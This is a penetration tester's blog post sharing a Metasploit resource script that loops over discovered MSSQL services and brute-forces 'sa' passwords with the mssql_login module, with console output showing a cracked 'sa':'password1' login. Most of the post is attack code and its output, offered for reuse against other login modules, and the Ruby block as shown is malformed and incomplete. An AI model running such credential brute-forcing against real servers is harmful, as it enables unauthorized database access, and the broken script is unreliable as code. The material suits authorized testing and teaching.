Metasploit Scripting

As any other seasoned pentester, I love using the Metasploit Framework during engagements. Using the database integration helps greatly in keeping all of my reconnaissance scans neatly formatted and easily queried. The “-R” switch was a welcome addition for configuring “RHOSTS” variables within modules (hosts -R, services -p 80 -R, etc…). It utilizes the host and service information within your database to configure modules to target specific hosts instead of sweeping entire ranges. The only piece missing in this utility is that some modules require “RPORT” to be configured as well. I’ll use the “auxiliary/scanner/mssql/mssql_login” module for example. If you used “auxiliary/scanner/mssql/mssql_ping” to scan for SQL servers, it’s very likely that not all of the hosts discovered are running on the old default port 1433, so each non-standard port configuration would have to be tested individually. Previously, to work around this limitation, I would export the results from “mssql_ping” to a text file and use a python script to brute force weak “sa” credentials. Now, I’ve finally figured out how to create a simple resource script to automate the configuration of “RHOSTS” and “RPORT” that i’d like to share.

First, if you’re not familiar with the automation capabilites provided by the Metasploit team, HD wrote a good overview of six different ways to automate the Metasploit Framework. Also, the guys over at Offensive Security have a great intro into the Meterpreter scripting capabilities. Since I’m horrible at ruby scripting, I decided to take the route of a simple resource script, which does take advantage of some simple ruby scripting.

Here is the code:

use auxiliary/scanner/mssql/mssql_login
set USER_FILE /opt/sql_brute/sql_users.txt
set PASS_FILE /opt/sql_brute/sql_wordlist.txt
set VERBOSE false
set THREADS 255

framework.db.hosts.each do |host| do |service|
    if == "mssql" and service.state == "open"
      self.run_single("set RHOSTS #{host.address}")
      self.run_single("set RPORT #{service.port}")

The script is pretty self-explanatory, but lets walk through it quickly. The upper half simply selects the “mssql_login” module and configures the static options. The lower half of the script is where we drop into the ruby interpreter and create some magic. We iterate through all hosts in the database and all respective services. If the service “name” equals “mssql” and the service is “open”, “RHOSTS” is assigned the IP of that system and “RPORT” is assigned that port. Finally, we “run” the module and any successfully brute forced credentials are displayed with their respective host IP.

Here is a quick example, first running the “mssql_ping” module to enumerate SQL servers on the network:

msf > use auxiliary/scanner/mssql/mssql_ping
msf auxiliary(mssql_ping) > set RHOSTS
msf auxiliary(mssql_ping) > set THREADS 255
THREADS => 255
msf auxiliary(mssql_ping) > run

[*] Scanned 028 of 256 hosts (010% complete)
[*] SQL Server information for
[+]    ServerName      = VULNXP
[+]    InstanceName    = SQLEXPRESS
[+]    IsClustered     = No
[+]    Version         = 9.00.1399.06
[+]    tcp             = 31337
[*] Scanned 097 of 256 hosts (037% complete)
[*] Scanned 166 of 256 hosts (064% complete)
[*] Scanned 202 of 256 hosts (078% complete)
[*] Scanned 236 of 256 hosts (092% complete)
[*] Scanned 249 of 256 hosts (097% complete)
[*] Scanned 250 of 256 hosts (097% complete)
[*] Scanned 254 of 256 hosts (099% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed

msf auxiliary(mssql_ping) > resource /root/scripts/msf/sql_brute.rc 
[*] Processing /root/scripts/msf/sql_brute.rc for ERB directives.
resource (/root/scripts/msf/sql_brute.rc)> use auxiliary/scanner/mssql/mssql_login
resource (/root/scripts/msf/sql_brute.rc)> set USER_FILE /opt/sql_brute/sql_users.txt
USER_FILE => /opt/sql_brute/sql_users.txt
resource (/root/scripts/msf/sql_brute.rc)> set PASS_FILE /opt/sql_brute/sql_wordlist.txt
PASS_FILE => /opt/sql_brute/sql_wordlist.txt
resource (/root/scripts/msf/sql_brute.rc)> set VERBOSE false
VERBOSE => false
resource (/root/scripts/msf/sql_brute.rc)> set THREADS 255
THREADS => 255
[*] resource (/root/scripts/msf/sql_brute.rc)> Ruby Code (277 bytes)
RPORT => 31337

[*] - MSSQL - Starting authentication scanner.
[+] - MSSQL - successful login 'sa' : 'password1'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

In just a fraction of a second, Metasploit returns successful authentication credentials. This simple script is easy to port to other modules, such as the “auxiliary/scanner/http/tomcat_mgr_login”, “auxiliary/scanner/http/jboss_vulnscan”, or any other module that requires “RHOSTS” and “RPORT” configurations. I would love to see this fucntionality built into Metasploit, but for now, we have a simple workaround. A big thanks goes to the Metasploit Framework development team at Rapid7 for maintainig an incredible framework.

Comments are closed.